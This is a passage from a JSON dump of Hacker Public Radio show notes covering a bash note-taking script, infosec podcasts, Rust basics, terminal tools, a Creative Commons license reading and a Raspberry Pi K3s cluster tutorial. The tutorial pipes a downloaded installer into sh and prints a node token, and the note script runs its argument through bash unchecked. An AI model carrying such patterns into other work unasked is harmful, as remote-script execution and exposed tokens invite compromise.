                                                            • First, we declare bash as our shell with #!/bin/bash. We could also use #!/bin/sh for a more portable script.

                                                            • \n
                                                            • I like to paste the name of the script we're working on into the script itself # upg.sh.

                                                            • \n
                                                            • Setup a couple of variables to shorten the syntax.

                                                            • \n
                                                            \n
                                                            FILENAME=$2$(date +%m-%d-%Y).md                                                                <--| the "$2" is the second user input (file name) from the commandline.\nDIRECTORY="${HOME}/Documents/"\n
                                                            \n
                                                              \n
                                                            • # step 1: create file with formatting.\n
                                                                \n
                                                              • Build labels for Command Name with a short breakdown of the command(s) used.
                                                              • \n
                                                              • Note: the breakdown must be entered manually.
                                                              • \n
                                                            • \n
                                                            \n
                                                            echo -e "# **Command:** \\` $1 \\`\\n" \\                                                          <--| the "$1" is the first user input (the command) from the commandline.\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "**Command Breakdown:**" \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho "$1" | tr " " '\\n' \\                                                                      <--| This just breaks the command into parts then adds some markdown formatting for use to add -\n    | awk '{ print "- `" $0 "`, info." }' \\                                                    ^--| details to later. I just added the word info so you know to provide info about the command. -\n    | tee -a ${DIRECTORY}${FILENAME}                                                           ^--| the formatting gets a bit crazy if you use something like: awk {' print $1 $2 $3 '} path/to/file;  each space becomes a newline with the markdown formatting.\n
                                                            \n
                                                              \n
                                                            • # step 2: run command with more formatting.\n
                                                                \n
                                                              • Echo the Command into bash with markdown formatting for stdout.
                                                              • \n
                                                            • \n
                                                            \n
                                                            echo -e "\\n**Command std-output:**" \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\`\\`\\`\\n$(date)" \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\necho $1 | bash \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\necho -e "\\`\\`\\`" \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\necho -ne "\\n${FILENAME} has been updated $(date)."\n
                                                            \n
                                                              \n
                                                            • # step 3: insert EOF (End Of File).\n
                                                                \n
                                                              • Add EOF (END OF FILE) to the end of the file. If one is already there, -
                                                              • \n
                                                              • it's removed then replaced in the correct position.
                                                              • \n
                                                            • \n
                                                            \n
                                                            sed -i '/EOF/d' ${DIRECTORY}${FILENAME}\necho EOF >> ${DIRECTORY}${FILENAME}\n
                                                            \n
                                                            \n

                                                            Correspondent: Some Guy On The Internet.
                                                            \nHost ID: 391
                                                            \nE-mail: Lyunpaw.nospam@nospam.gmail.com

                                                            \n\n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Bash Scripting, sed, awk, xargs, markdown, notes","version":0,"downloads":0,"valid":1}, {"id":3424,"date":"2021-09-16","title":"Infosec Podcasts Part 6 - Infosec Leadership","duration":721,"summary":"Presenting my favorite information security leadership podcasts","notes":"

                                                            Inoffensive in every region of the world.

                                                            \n

                                                            Thank you to everyone who has listened to my previous episodes. This is the final episode in the Infosec Podcasts series.

                                                            \n

                                                            I listen to many, MANY podcasts. The vast majority of these are related to information security.

                                                            \n

                                                            Because there are so many podcasts to list, I have broken them down into 6 different episodes based on topics:

                                                            \n
                                                              \n
                                                            • Part 1 - News & Current Events - Episode 3324
                                                            • \n
                                                            • Part 2 - General Information Security - Episode 3334
                                                            • \n
                                                            • Part 3 - Career & Personal Development - Episode 3344
                                                            • \n
                                                            • Part 4 - Social Engineering - Episode 3368
                                                            • \n
                                                            • Part 5 - Episode 3387\n
                                                                \n
                                                              • Hacks & Attacks
                                                              • \n
                                                              • Technical Information & Learning
                                                              • \n
                                                              • Infosec Community / Social / History
                                                              • \n
                                                              • Part 6 - Infosec Leadership
                                                              • \n
                                                            • \n
                                                            \n

                                                            Preamble

                                                            \n

                                                            Term: CISO

                                                            \n
                                                              \n
                                                            • Pronounced SEE-so or SAI-so
                                                            • \n
                                                            • Chief Information Security Officer
                                                            • \n
                                                            • Sounds like executive leadership position, similar to Chief Executive Officer (CEO), Chief Financial Officer (CFO), etc but this is often not the case
                                                            • \n
                                                            \n

                                                            Security leadership is changing

                                                            \n

                                                            Old way:

                                                            \n
                                                              \n
                                                            • Experienced technologists (Usually old white guys) worked way up ranks
                                                            • \n
                                                            • Usually reported through IT (CIO/CTO)
                                                            • \n
                                                            • Department of \"No\" - Block everything bad
                                                            • \n
                                                            • Slows down business
                                                            • \n
                                                            \n

                                                            New way:

                                                            \n
                                                              \n
                                                            • Experienced business professionals with leadership skills and security understanding
                                                            • \n
                                                            • Can report through:\n
                                                                \n
                                                              • IT (CIO/CTO)
                                                              • \n
                                                              • Legal (For compliance reasons)
                                                              • \n
                                                              • Finance (CFO) for governance or compliance reasons
                                                              • \n
                                                              • Financial impacts of attacks
                                                              • \n
                                                              • Direct costs
                                                              • \n
                                                              • Fines
                                                              • \n
                                                              • CEO - Seat at the table with other C-level execs
                                                              • \n
                                                              • Direct to board
                                                              • \n
                                                            • \n
                                                            • Empowers the business to succeed in a secure way
                                                            • \n
                                                            • Can still slow down the business, but only when needed\n
                                                                \n
                                                              • Brakes on a race car
                                                              • \n
                                                            • \n
                                                            \n

                                                            Infosec Leadership Podcasts

                                                            \n
                                                              \n
                                                            • CISO Tradecraft - G Mark Hardy (Weekly)\n
                                                            • \n
                                                            • CISO Vendor Relationship Podcast - David Spark & Guests (Weekly)\n
                                                            • \n
                                                            • CISO Talks (Weekly)\n
                                                            • \n
                                                            • CISO Talk - James Azar (Weekly)\n
                                                            • \n
                                                            • The Cyber Ranch Podcast - Allan Alford & Hacker Valley Studios (Weekly)\n
                                                            • \n
                                                            • CISO's Secrets - Currently hosted by Grant Asplund and sponsored by Checkpoint\n
                                                                \n
                                                              • Interviews with security leaders across a wide range of industries
                                                              • \n
                                                              • Addresses real issues facing security professionals and businesses
                                                              • \n
                                                              • https://cp.buzzsprout.com/
                                                              • \n
                                                            • \n
                                                            • CISO Stories - Hosted by Todd Fitzgerald and Sam Curry and part of the Security Weekly family of podcasts\n
                                                            • \n
                                                            • The New CISO - Hosted by Exabeam's Chief Security Strategist, Steve Moore and Sponsored by Exabeam\n
                                                            • \n
                                                            \n

                                                            That wraps up this series. I welcome any feedback you might have in the comments section for this episode on the HPR site.

                                                            \n

                                                            Thank you very much for listening.

                                                            \n","hostid":394,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"infosec, podcasts, security, leadership","version":0,"downloads":0,"valid":1}, {"id":3425,"date":"2021-09-17","title":"Hacking Stories with Reacted: part 4","duration":1055,"summary":"I talk about some old old old pentesting stories from days old!","notes":"

                                                            \nI talk about some old old old pentesting stories from days old!\n

                                                            ","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hacking,pentesting,red team,hacking stories","version":0,"downloads":0,"valid":1}, {"id":3426,"date":"2021-09-20","title":"Rust 101: Episode 0 - What in Tarnishing?","duration":1348,"summary":"BlacKernel teaches you what rust is and how it is different from Python or C.","notes":"

                                                            Talking Points

                                                            \n
                                                              \n
                                                            • What is Rust?\n
                                                                \n
                                                              • \" Garbage Collection \" - Resource Acquisition Is Initialization (RAII)
                                                              • \n
                                                              • Strict Typing with Type Inference
                                                              • \n
                                                              • Reference pointers
                                                              • \n
                                                              • Immutable by default
                                                              • \n
                                                              • Unsafe Mode
                                                              • \n
                                                            • \n
                                                            • Why use Rust over Python?\n
                                                                \n
                                                              • Speed
                                                              • \n
                                                              • Compiled\n
                                                                  \n
                                                                1. Help from compiler
                                                                2. \n
                                                                3. Smaller binary size
                                                                4. \n
                                                                5. Useful in high throughput/embedded applications
                                                                6. \n
                                                              • \n
                                                              • Logically consistent
                                                              • \n
                                                            • \n
                                                            • Why use Rust over C?\n
                                                                \n
                                                              • Safe by default
                                                              • \n
                                                              • Easier to read
                                                              • \n
                                                              • Forces you to write good code
                                                              • \n
                                                              • Arrays without stupidity++ and built in vectors
                                                              • \n
                                                              • Option<T> and Result<T> or a match {} made in heaven
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            Show Notes

                                                            \n

                                                            Strict Typing

                                                            \n
                                                            fn main() {\n\n    // Type declared with var: <T> syntax\n    let penguin_one: &str = "gentoo";\n    \n    // Type &str is inherited from "gentoo"\n    let penguin_two = "gentoo";\n    \n    // Will not panic if they are the same\n    assert_eq!(penguin_one, penguin_two);\n}
                                                            \n

                                                            Reference Pointers

                                                            \n

                                                            Wrong Way:

                                                            \n
                                                            fn print_u8_vector(vec: Vec<u8>) {\n    println!("{:?}", vec);\n}\n\nfn main() {\n    let penguin_ages: Vec<u8> = vec!(2, 4, 6);\n    print_u8_vector(penguin_ages);\n    \n    // This line will throw an error\n    println!("{}", penguin_ages[0]);\n}
                                                            \n

                                                            Correct Way:

                                                            \n
                                                            fn print_u8_vector(vec: &Vec<u8>) {\n    println!("{:?}", vec);\n}\n\nfn main() {\n    let penguin_ages: Vec<u8> = vec!(2, 4, 6);\n    print_u8_vector(&penguin_ages);\n    \n    // This line will print '2'\n    println!("{}", penguin_ages[0]);\n}
                                                            \n

                                                            Immutable By Default

                                                            \n

                                                            Wrong Way:

                                                            \n
                                                            fn main() {\n    let my_num = 2;\n    \n    // This line will throw an error\n    my_num = my_num + 1;\n    println!("{}", my_num);\n}
                                                            \n

                                                            Correct Way:

                                                            \n
                                                            fn main() {\n    let mut my_num = 2;\n    my_num = my_num + 1;\n    \n    // This line will print '3'\n    println!("{}", my_num);\n}
                                                            \n

                                                            Unsafe Code

                                                            \n

                                                            Hello World Program in C in Rust:

                                                            \n
                                                            extern "C" {\n    fn printf(input: &str);\n}\n\nfn main() {\n    unsafe {\n        printf("Hello, World!");\n    }\n}
                                                            \n\n\n
                                                            \n

                                                            Contact Me

                                                            \n

                                                            Email: izzyleibowitz at pm dot me

                                                            \n

                                                            Mastodon: at blackernel at nixnet dot social

                                                            ","hostid":396,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"rust, programming, raii, python, c","version":0,"downloads":0,"valid":1}, {"id":3427,"date":"2021-09-21","title":"Ranger for the Win!","duration":1096,"summary":"In this episode, I go over some typical use cases for the Ranger file manager","notes":"

                                                            Programs referenced in this episode

                                                            \n
                                                              \n
                                                            • ranger
                                                            • \n
                                                            • caca-utils
                                                            • \n
                                                            • poppler-utils
                                                            • \n
                                                            • atool
                                                            • \n
                                                            • highlight
                                                            • \n
                                                            • trash-cli
                                                            • \n
                                                            • xlsx2csv
                                                            • \n
                                                            • docs2txt
                                                            • \n
                                                            • catdoc (for doc2txt and xls2csv)
                                                            • \n
                                                            • ods2tsv
                                                            • \n
                                                            \n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ranger,file manager,linux","version":0,"downloads":0,"valid":1}, {"id":3428,"date":"2021-09-22","title":"Bad disk rescue","duration":1794,"summary":"Bad disk rescue - tragedy or happy ending?","notes":"

                                                            Here I tell the tale of a bad disk rescue. Is the rescue bad or just the disk? Well the disk is most certainly bad but please listen and tell me if the rescue was good or bad or could have been done better.

                                                            \n

                                                            Guest stars in this show include:

                                                            \n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,disk,windows,virtualbox","version":0,"downloads":0,"valid":1}, {"id":3429,"date":"2021-09-23","title":"Linux Inlaws S01E39: Ubuntu and the Community","duration":5207,"summary":"All about your favourite Debian spin and IBM mainframes","notes":"

                                                            \n In this episode, our two hosts host Rhys Davies, a developer advocate from Canonical. So all\n beans will be spilled on one of the most popular Linux distros out there. Like its past, present\n and future. Never mind how Canonical makes its moolah and where this goes... Plus an interesting\n infomercial on old big iron (IBM, if you're listening: the mail address is sponsor@linuxinlaws.eu).\n

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Debian, Ubuntu, IBM, mainframes, snaps, Canonical","version":0,"downloads":0,"valid":1}, {"id":3430,"date":"2021-09-24","title":"Booting","duration":724,"summary":"We look in detail at how early PCs booted.","notes":"

                                                            The boot process is a very particular system for taking a dead hunk of metal and silicon and turning it into an active computer. It is kind of remarkable, and in the DOS environment you really needed to know how it worked.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, boot process","version":0,"downloads":0,"valid":1}, {"id":3431,"date":"2021-09-27","title":"Living in the Terminal","duration":2763,"summary":"BlacKernel shows you some programs you'll need for living life without X org","notes":"

                                                            Talking Points

                                                            \n

                                                            Rational

                                                            \n
                                                              \n
                                                            • Sometimes, X.org just doesn't want to work
                                                            • \n
                                                            • Esspecially if you are a dumb n00b running Arch
                                                            • \n
                                                            • The terminal will always be there for you.
                                                            • \n
                                                            \n

                                                            Applications:

                                                            \n

                                                            My .bashrc:

                                                            \n
                                                              \n
                                                            • Environment Variables:
                                                            • \n
                                                            \n
                                                            export EDITOR=nvim\nexport PAGER=most\nexport BROWSER=lynx\n\nexport XDG_DATA_HOME="$HOME/.local/share"\nexport XDG_CONFIG_HOME="$HOME/.config"\n
                                                            \n

                                                            PS1: user@hostname:~ (git_branch) $

                                                            \n
                                                            if [[ $EUID == 0 ]]; then\n    export PS1="\\[e[1;31m\\]\\u\\[\\e[m\\]@\\[\\e[0;32m\\]\\h\\[\\e[m\\]:\\w\\$(__git_ps1) # "\nelse\n    export PS1="\\[e[1;34m\\]\\u\\[\\e[m\\]@\\[\\e[0;32m\\]\\h\\[\\e[m\\]:\\w\\$(__git_ps1) $ "\nfi\n
                                                            \n
                                                              \n
                                                            • Aliases:\n
                                                                \n
                                                              • alias vim=nvim
                                                              • \n
                                                              • alias play=mpv
                                                              • \n
                                                            • \n
                                                            \n

                                                            Productivity (\"Window Manager\"): tmux

                                                            \n
                                                              \n
                                                            • Provides an easy way of splitting a tty into various panes
                                                            • \n
                                                            • Get multiple workspaces for free with CTL+ALT+F{1,2,3,4,5,6,7}
                                                            • \n
                                                            • All of the tiling window manager, none of the X-it
                                                            • \n
                                                            • Can set up if [ -t 0 ] && [[ -z $TMUX ]] && [[ $- = *i* ]]; then exec tmux; fi in .bashrc in order to have tmux start/stop with your terminal sessiion.
                                                            • \n
                                                            \n

                                                            Music: cmus

                                                            \n
                                                              \n
                                                            • Easy library and playlist management
                                                            • \n
                                                            • Dead simple to use (with cmus-tutorial)\n
                                                                \n
                                                              • y to yank songs onto a playlist
                                                              • \n
                                                              • SPA to select a playlist
                                                              • \n
                                                              • RET to play a song/playlist
                                                              • \n
                                                              • TAB to switch between panes
                                                              • \n
                                                            • \n
                                                            \n

                                                            Pictures: fim

                                                            \n
                                                              \n
                                                            • Requires user be in the video group for permission to use the Linux framebuffer
                                                            • \n
                                                            \n

                                                            Radio/Video/single audio files: mpv

                                                            \n
                                                              \n
                                                            • Can display video in terminal (badly with libcaca)
                                                            • \n
                                                            • Can actually display video in linux framebuffer (with drm)
                                                            • \n
                                                            • Can handle all of your somafm files/web-video links
                                                            • \n
                                                            • Requires youtube-dl for video
                                                            • \n
                                                            \n

                                                            Podcasts/RSS: newsboat/podboat

                                                            \n
                                                              \n
                                                            • Orginizes all of your podcasts and RSS feeds into an easy-to-use ncurses interface
                                                            • \n
                                                            • Can be set up with player \"mpv --save-position-on-quit\" to save positions on podcasts
                                                            • \n
                                                            • Very convinent for articles, less so for podcasts
                                                            • \n
                                                            • Really needs better integration with something like cmus
                                                            • \n
                                                            \n

                                                            Runner Up: podfox

                                                            \n
                                                              \n
                                                            • Can be configured with JSON
                                                            • \n
                                                            • Has better directory structure than podboat, imo
                                                            • \n
                                                            • Tree based structure vs shove everything in ~ by default
                                                            • \n
                                                            \n

                                                            Text Editing/Word Processing: neovim/GitX Flavored Markdown/pandoc

                                                            \n
                                                              \n
                                                            • Clean modal editing
                                                            • \n
                                                            • Can export to whatever with pandoc
                                                            • \n
                                                            • Probably not as good as OrgMode if emacs wasn't the HFS+ of text editors
                                                            • \n
                                                            \n

                                                            Audio Recording/Post-Processing: ffmpeg

                                                            \n
                                                              \n
                                                            • One alias and three scripts in my .bashrc\n
                                                                \n
                                                              • record: alias record=\"ffmpeg -f alsa -channels 1 -i hw:1\"
                                                              • \n
                                                              • atrim, top-tail, and anorm: Allows me to quickly spin up a recording and run post processing
                                                              • \n
                                                            • \n
                                                            \n
                                                            function atrim() {\n    if [ $1 ]; then\n        local in="$1"\n    else\n        local in="-"\n    fi\n\n    if [ $2 ]; then\n        local out="$2"\n    else\n        local out="-f nut -"\n    fi\n\n    if [[ $# > 2 ]]; then\n        echo "atrim: requires 2 or fewer arguments"\n        return 1\n    fi\n\n    if [ $2 ]; then echo "atrim: silencing $in and saving to $out..."; fi\n    ffmpeg -i $in -af silenceremove=start_periods=1:stop_periods=-1:start_threshold=-50dB:stop_threshold=-50dB:stop_duration=0.75 $out \\\n        2>/dev/null \\\n        #1>/dev/null\n    if [ $2 ]; then echo "atrim: done"; fi\n}\n
                                                            \n
                                                            function top-tail() {\n    local top="$HOME/project/hpr-notes/template/intro-music-slick0-cc0.flac"\n    local tail="$HOME/project/hpr-notes/template/outro-mixed-slick0-manon_fallon-cc0.flac"\n\n    if [ $1 ]; then\n        local in="$1"\n    else\n        local in="-"\n    fi\n\n    if [ $2 ]; then\n        local out="$2"\n    else\n        local out="-f nut -"\n    fi\n\n    if [[ $# > 2 ]]; then\n        echo "hpr-top-tail: requres 2 or fewer arguments"\n        return 1\n    fi\n\n    if [ $2 ]; then echo "hpr-top-tail: Topping $in with $top and tailing with $tail..."; fi\n    ffmpeg -i "$top" -i $in -i "$tail" -vn -filter_complex "\n    [0][1]acrossfade=d=1:c1=tri:c2=tri[a01];\n    [a01][2]acrossfade=d=1:c1=tri:c2=tri" \\\n    $out \\\n        2> /dev/null \\\n        #1> /dev/null\n    if [ $2 ]; then echo "hpr-top-tail: done"; fi\n}\n
                                                            \n
                                                            function anorm() {\n    if [ $1 ]; then\n        local in="$1"\n    else\n        local in="-"\n    fi\n\n    if [ $2 ]; then\n        local out="$2"\n    else\n        local out="-f nut -"\n    fi\n\n    if [[ $# > 2 ]]; then\n        echo "anorm: requires 2 or fewer arguments"\n        return 1\n    fi\n\n    if [ $2 ]; then echo "anorm: normalizing audio $in and saving to $out..."; fi\n    ffmpeg -i $in $(ffmpeg-lh $in) $out \\\n        #2> /dev/null \\\n        1> /dev/null\n    if [ $2 ]; then echo "anorm: done"; fi\n\n}\n
                                                            \n

                                                            Web Browsing: lynx

                                                            \n
                                                              \n
                                                            • Fast and easy text based web browsing
                                                            • \n
                                                            • Can leverage Web 4.0 technologies like Gopher!!
                                                            • \n
                                                            • Some sites break pretty bad...
                                                            • \n
                                                            \n

                                                            Email: mutt*

                                                            \n
                                                              \n
                                                            • I didn't really use email very much when I was living on the terminal and now, since I use protonmail, I don't really have an easy way not to use the webmail.

                                                            • \n
                                                            • Trying to find a fix to this. Let me know your thoughts!

                                                            • \n
                                                            • This is the mail client I've heard the most good things about that isn't built into a text editor I can't use

                                                            • \n
                                                            \n
                                                            \n

                                                            Show Notes

                                                            \n

                                                            Important Links:

                                                            \n\n

                                                            Resources:

                                                            \n\n
                                                            \n
                                                            Contact Me
                                                            \n\n","hostid":396,"series":11,"explicit":1,"license":"CC-BY-SA","tags":"cli, terminal, nox, linux, technology, tty","version":0,"downloads":0,"valid":1}, {"id":3432,"date":"2021-09-28","title":"Reading a license: Creative Commons Attribution ShareAlike 4.0 International","duration":1956,"summary":"We jump into the future of 2013 and see how content licensing has changed","notes":"

                                                            Previous episode: https://hackerpublicradio.org/eps.php?id=3412
                                                            hpr3412 :: Reading a license: Creative Commons Attribution ShareAlike 3.0 Unported

                                                            \n

                                                            Timeline

                                                            \n\n

                                                            Links to license and deed and links from within the texts

                                                            \n\n

                                                            Other links

                                                            \n\n
                                                            \n

                                                            Creative Commons License Deed

                                                            \n

                                                            Original: https://creativecommons.org/licenses/by-sa/4.0/

                                                            \n

                                                            The below is an Adaptation that has been reformatted for simplicity and focus on the text, removed graphical elements such as the Creative Commons Attribution and ShareAlike icons and has simple links to more info where there was originally a popup with a brief description and then a link.

                                                            \n

                                                            This Adaptation is released under CC-by 3.0: https://creativecommons.org/licenses/by/3.0/

                                                            \n

                                                            Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)

                                                            \n

                                                            This is a human-readable summary of (and not a substitute for) the license.

                                                            \n

                                                            Disclaimer

                                                            \n
                                                            \n

                                                            This deed highlights only some of the key features and\nterms of the actual license. It is not a license and\nhas no legal value. You should carefully review all of\nthe terms and conditions of the actual license before\nusing the licensed material.

                                                            \n

                                                            Creative Commons is not a law firm and does not\nprovide legal services. Distributing, displaying, or\nlinking to this deed or the license that it summarizes\ndoes not create a lawyer-client or any other\nrelationship.

                                                            \n
                                                            \n

                                                            You are free to:

                                                            \n
                                                              \n
                                                            • Share - copy and redistribute the material in any medium or format
                                                            • \n
                                                            • Adapt - remix, transform, and build upon the material for any purpose, even commercially.
                                                            • \n
                                                            \n

                                                            \"This

                                                            \n

                                                            The licensor cannot revoke these freedoms as long as you follow the license terms.

                                                            \n

                                                            Under the following terms:

                                                            \n
                                                              \n
                                                            • Attribution - You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.
                                                            • \n
                                                            • ShareAlike - If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original.
                                                            • \n
                                                            • No additional restrictions - You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.
                                                            • \n
                                                            \n

                                                            Notices:

                                                            \n
                                                              \n
                                                            • You do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable exception or limitation.
                                                            • \n
                                                            • No warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material.
                                                            • \n
                                                            \n
                                                            \n\n

                                                            Original: https://creativecommons.org/licenses/by-sa/4.0/legalcode\nPlain Adaptation re-hosted on HPR: https://hackerpublicradio.org/eps/hpr3432/

                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"license, creative commons, recital, reading, legal","version":0,"downloads":0,"valid":1}, {"id":3433,"date":"2021-09-29","title":"A Squirrels thoughts about RMS","duration":2565,"summary":"RMS and the subject of freedom","notes":"
                                                            \n

                                                            \n\nThis podcast was provided by Zen_Floater2 in his personal capacity. The opinions expressed in this podcast are the author's own and do not reflect the view of Hacker Public Radio.
                                                            \nShownotes Edited by Ken on 2021-09-11T14:35:19Z to include disclaimer.\n
                                                            \n

                                                            \n
                                                            \n\n\n\n

                                                            \nA Squirrels thoughts about freedom and RMS.\n

                                                            \n

                                                            \nI also cover guns on aircraft. I cover smoking on aircraft.\n

                                                            \n

                                                            \nAnd I cover drinking beer on aircraft.\n

                                                            \n

                                                            \nAnd COBOL as well.\n

                                                            \n","hostid":377,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"RMS,Pedophilia,BEER","version":0,"downloads":0,"valid":1}, {"id":3434,"date":"2021-09-30","title":"From 0 to K8s in 30 minutes","duration":1938,"summary":"Build a Kubernetes cluster, run a website, route traffic to website","notes":"

                                                            Install CentOS or Debian on a Raspberry Pi. I'm using CentOS, but I'll admit that Debian is the easier option by far.

                                                            \n

                                                            Do this on 3 separate Pi units, each with the same specs.

                                                            \n

                                                            Set hostnames

                                                            \n

                                                            You must have unique hostnames for each Pi. Without unique hostnames, your cluster cannot function.

                                                            \n

                                                            There are several \"kinds\" of hostnames, so to avoid confusion I change all of them.

                                                            \n

                                                            I use a simple naming scheme: k for \"kubernetes\" + an integer, starting at 100 + c for \"cluster\":

                                                            \n
                                                            $ sudo hostname k100c\n$ sudo sysctl kernel.hostname=k100c\n$ sudo hostnamectl set-hostname k100c\n$ sudo reboot\n
                                                            \n

                                                            Do this for each Pi. At a minimum, you end up with Pi computers named k100c, k101c, and k102c.

                                                            \n

                                                            Set verbose prompts

                                                            \n

                                                            When working with many different hosts, it's helpful to have a very verbose prompt as a constant reminder of which host you're connected to. Add this to the ~/.bashrc of each Pi:

                                                            \n
                                                            export PS1='\\[\033[1;32m\\]\\! \\d \\t \\h:\\w \\n% \\[\033[00m\\]' \n
                                                            \n

                                                            Install a Pi finder script

                                                            \n

                                                            Install an LED blinker so you can find a specific Pi when you need one. This brilliant script is by Chris Collins for his article Use this script to find a Raspberry Pi on your network, which explains how to run it.

                                                            \n
                                                            #!/bin/bash\n\nset -o errexit\nset -o nounset\n\ntrap quit INT TERM\n\nCOUNT=0\nLED="/sys/class/leds/led0"\n\nif ! [ $(id -u) = 0 ]; then\n   echo "Must be run as root."\n   exit 1\nfi\n\nif [[ ! -d $LED ]]\nthen\n  echo "Could not find an LED at ${LED}"\n  echo "Perhaps try '/sys/class/leds/ACT'?"\n  exit 1\nfi\n\nfunction quit() {\n  echo mmc0 >"${LED}/trigger"\n}\n\necho -n "Blinking Raspberry Pi's LED - press CTRL-C to quit"\necho none >"${LED}/trigger"\n\nwhile true\ndo\n  let "COUNT=COUNT+1"\n  if [[ $COUNT -lt 30 ]]\n  then\n    echo 1 >"${LED}/brightness"\n    sleep 1\n    echo 0 >"${LED}/brightness"\n    sleep 1\n  else\n    quit\n    break\n  fi\ndone\n
                                                            \n

                                                            Install K3s on your control plane

                                                            \n

                                                            K3s is Kubernetes for IoT and Edge computing. It's the easiest, cleanest, and most serious method of getting Kubernetes on an ARM device. You can try other solutions (Microk8s, Minikube, OXD, and so on), but the best support comes from k3s.

                                                            \n

                                                            First, you must install k3s on one Pi. You can use any of your Pi units for this, but I use host k100c because it's the first in the sequence, so it feels logical.

                                                            \n
                                                            [k100c]$ curl -sfL https://get.k3s.io -o install_k3s.sh\n[k100c]$ chmod 700 install_k3s.sh\n
                                                            \n

                                                            Read the script to ensure that it seems to do what you expect, and then:

                                                            \n
                                                            [k100c]$ ./install_k3s.sh\n
                                                            \n

                                                            After installation, you're prompted to add some arguments to your bootloader. Open /boot/cmdline.txt in a text editor and add cgroup_memory=1 cgroup_enable=memory to the end of it.

                                                            \n
                                                            console=ttyAMA0,115200 console=tty1 root=/dev/mmcblk0p3 rootfstype=ext4 elevator=deadline rootwait cgroup_memory=1 cgroup_enable=memory\n
                                                            \n

                                                            Reboot:

                                                            \n
                                                            [k100c]$ sudo reboot\n
                                                            \n

                                                            Once the Pi is back up, verify that your node is ready:

                                                            \n
                                                            [k100c]$ k3s kubectl get node\nNAME    STATUS  ROLES                  AGE\nk100c   Ready   control-plane,master   42s\n
                                                            \n

                                                            This Pi is the \"control plane\", meaning it's the Pi that you use to administer your cluster.

                                                            \n

                                                            Get the node token

                                                            \n

                                                            Obtain the control plane's node token. Thanks to k3s, this is autogenerated for you. If you not using k3s, then you must generate your own with the command kubeadm token generate.

                                                            \n

                                                            Assuming you're using k3s:

                                                            \n
                                                            $ MYTOKEN=$(sudo cat /var/lib/rancher/k3s/server/node-token)\n$ echo $MYTOKEN\nK76351a1c2497d907ba7a156028567e0ccc26b82d2174161c564152ab3add6cc3fb::server:808771e4e695e3e3465ed9a14a0581da\n
                                                            \n

                                                            Add your control plane hostname to your hosts file

                                                            \n

                                                            If you know how to manage local DNS settings, then you can use a DNS service to identify the hosts in your cluster. Otherwise, the easy way to make your nodes know how to find your control plane is to add the control plane's hostname and IP address to the /etc/hosts file on each node. This also assumes that your control plane has a static local IP address. For example, this is the host file of k101c and k102c:

                                                            \n
                                                            127.0.0.1  localhost.localdomain localhost\n::1        localhost6.localdomain6 localhost6\n\n10.0.1.100 k100c\n
                                                            \n

                                                            Verify that each host can find the control plane. For example:

                                                            \n
                                                            [k101c]$ ping -c 1 k100c || echo "fail"\n[k101c]\n
                                                            \n

                                                            Add nodes to your cluster

                                                            \n

                                                            Now you can add the other Pi computers to your cluster. On each Pi you want to turn into a computer node, install k3s with the control plane and token as environment variables. On my second Pi, for instance, I run this command:

                                                            \n
                                                            [k101c]$ curl -sfL https://get.k3s.io | K3S_URL=https://k100c:6443 K3S_TOKEN="${MYTOKEN}" sh -\n
                                                            \n

                                                            On my third and final Pi, I run the same command:

                                                            \n
                                                            [k102c]$ curl -sfL https://get.k3s.io | K3S_URL=https://k100c:6443 K3S_TOKEN="${MYTOKEN}" sh -\n
                                                            \n

                                                            Verify your cluster

                                                            \n

                                                            On your control plane, verify that all nodes are active:

                                                            \n
                                                            % k3s kubectl get nodes\nNAME        STATUS     ROLES                  AGE     VERSION\nk100c       Ready      control-plane,master   2d23h   v1.21.4+k3s1\nk102c       Ready      <none>                 21h     v1.21.4+k3s1\nk101c       Ready      <none>                 20h     v1.21.4+k3s1\n
                                                            \n

                                                            It can take a few minutes for the control plane to discover all nodes, so wait a little while and try the command again if you don't see all nodes right away.

                                                            \n

                                                            You now have a Kubernetes cluster running. It isn't doing anything yet, but it's a functional Kubernetes cluster. That means you have a tiny Pi-based cloud entirely at your disposal. You can use it to learn about Kubernetes, cloud architecture, cloud-native development, and so on.

                                                            \n

                                                            Create a deployment and some pods

                                                            \n

                                                            Now that you have a Kubernetes cluster running, you can start running applications in containers. That's what Kubernetes does: it orchestrates and manages containers. You've may have heard of containers. I did an episode about Docker containers in episode 1522 of HPR, you can go listen to that if you need to catch up. I've also done an episode on LXC in episode 371 of my own show, GNU World Order.

                                                            \n

                                                            There's a sequence to launching containers within Kubernetes, a specific order you need to follow, because there are lots of moving parts and those parts have to reference each other. Generally, the hierarchy is this:

                                                            \n
                                                              \n
                                                            • namespaces are the \"project spaces\" of kubernetes. I cover this in great detail in my GNU World Order episode 13x39.
                                                            • \n
                                                            • create a deployment that manage pods.
                                                            • \n
                                                            • pods are groups of containers. it helps your cluster scale on demand.
                                                            • \n
                                                            • services are front-ends to deployments. A deployment can be running quietly in the background and it'll never see the light of day without a service pointing to it.
                                                            • \n
                                                            • traffic, or exposure. A service is only available to your cluster until you expose it to the outside world with an external IP address.
                                                            • \n
                                                            \n

                                                            First, create a namespace for your test application to use.

